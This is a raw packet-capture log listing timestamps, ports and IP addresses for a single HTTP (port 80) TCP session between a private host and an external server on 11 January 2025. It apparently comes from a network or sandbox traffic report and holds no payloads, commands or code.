Jan 11, 2025 07:11:30.319813013 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.319828033 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.319856882 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.320028067 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.320075989 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.320420980 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.320547104 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.320563078 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.320594072 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.320694923 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.320710897 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.320725918 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.320743084 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.320769072 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.321033955 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.321403980 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.321454048 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.321469069 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.321482897 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.321525097 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.321738958 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.321753979 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.321762085 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.321814060 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.321943045 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.321990967 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.322333097 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.329962969 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.330035925 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.330048084 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.330087900 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.330161095 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.336858988 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.336880922 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.336930990 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.372128963 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.372231007 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.372276068 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.407469034 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.407589912 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.407607079 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.407649994 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.407743931 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.407759905 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.407788992 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.439539909 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.439625025 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.439630985 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.439642906 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.439690113 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.439877987 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.439894915 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.439913034 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.439930916 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.439951897 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.439970016 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.440268040 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.440287113 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.440303087 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.440334082 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.440520048 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.440537930 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.440556049 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.440570116 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.440603971 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.440829992 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.440846920 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.440901041 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.441107035 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.441123962 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.441139936 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.441155910 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.441165924 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.441173077 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.441189051 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.441203117 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.441236973 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.441709042 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.441725969 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.441742897 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.441756964 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.441796064 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.441806078 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.442239046 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.442255020 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.442271948 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.442286968 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.442303896 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.442312956 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.442332983 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.442799091 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.442816019 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.442831993 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.442847967 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.442852974 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.442866087 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.442881107 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.442883968 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.442931890 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.443437099 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.443455935 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.443478107 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.443485975 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.443494081 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.443495989 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.443510056 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.443527937 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.443581104 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.443597078 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.443609953 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.444144011 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.444160938 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.444176912 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.444191933 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.444210052 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.444224119 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.444231987 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.444246054 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.444248915 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.444292068 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.444308996 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.445084095 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.445100069 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.445116043 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.445132017 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.445146084 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.445147038 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.445166111 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.445178986 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.445182085 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.445199966 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.445215940 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.445218086 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.445242882 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.446048021 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.446067095 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.446083069 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.446093082 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.446101904 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.446124077 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.446135044 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.446176052 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.446414948 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.446433067 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.446449995 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.446475983 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.459059000 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.459080935 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.459099054 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.459115028 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.459151030 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.459186077 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.486536980 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.494376898 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.494436026 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.494457960 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.494474888 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.494533062 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.494646072 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.494662046 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.494679928 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.494709969 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.494961977 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.494977951 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.494992971 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.495023012 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.495039940 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.495126009 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.495140076 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.495181084 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.511557102 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.526312113 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.526396990 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.526411057 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.526437998 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.526511908 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.526529074 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.526556969 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.526602030 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.526618004 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.526673079 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.526846886 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.526890993 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.529922962 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.530410051 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.530462027 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.530477047 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.530512094 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.530601025 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.530616045 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.530632973 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.530647993 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.530653000 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.530704021 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.530870914 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.530895948 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.530924082 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.531050920 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.531064987 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.531080961 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.531092882 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.531126976 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.536045074 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.561271906 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.561345100 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.561362028 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.561419964 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.561528921 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.561544895 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.561574936 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.561671972 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.561697006 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.561722994 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.561925888 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.561943054 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.561964035 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.561970949 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.562004089 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.562213898 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.562230110 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.562253952 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.562266111 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.562438011 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.562484026 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.562567949 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.562583923 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.562599897 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.562613964 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.562628984 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.562634945 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.562654972 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.562954903 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.563003063 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.563050032 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.563127995 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.563143969 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.563184023 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.563368082 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.563384056 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.563400030 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.563414097 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.563424110 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.563457012 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.563745975 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.563761950 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.563776016 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.563791990 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.563808918 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.563837051 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.564192057 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.564208031 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.564222097 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.564238071 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.564245939 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.564253092 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.564276934 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.564693928 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.564708948 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.564723015 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.564737082 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.564738035 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.564754009 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.564765930 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.564769983 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.564795971 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.565203905 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.565218925 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.565233946 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.565248013 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.565251112 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.565263987 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.565275908 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.565279961 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.565306902 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.565788984 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.565804958 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.565819979 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.565834045 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.565840960 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.565850019 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.565854073 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.565901041 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.566349983 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.566365004 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.566380024 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.566395044 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.566405058 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.566411018 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.566426039 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.566443920 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.566471100 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.566896915 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.566936970 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.566951990 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.566967010 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.566981077 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.566996098 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.566998959 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.567025900 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.567528009 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.567543983 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.567558050 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.567574978 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.567578077 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.567598104 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.567603111 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.567615032 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.567630053 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.567646027 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.567646027 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.567662001 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.567673922 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.567676067 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.567693949 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.567698956 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.567732096 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.568320990 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.568336964 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.568351030 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.568366051 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.568376064 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.568381071 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.568397045 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.568404913 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.568411112 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.568428040 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.568445921 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.568471909 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.580220938 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.581278086 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.581298113 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.581312895 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.581362963 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.581397057 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.581442118 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.581501961 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.581516981 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.581532955 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:11:30.581556082 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:11:30.589934111 CET	49699	80	192.168.2.7	193.143.1.205
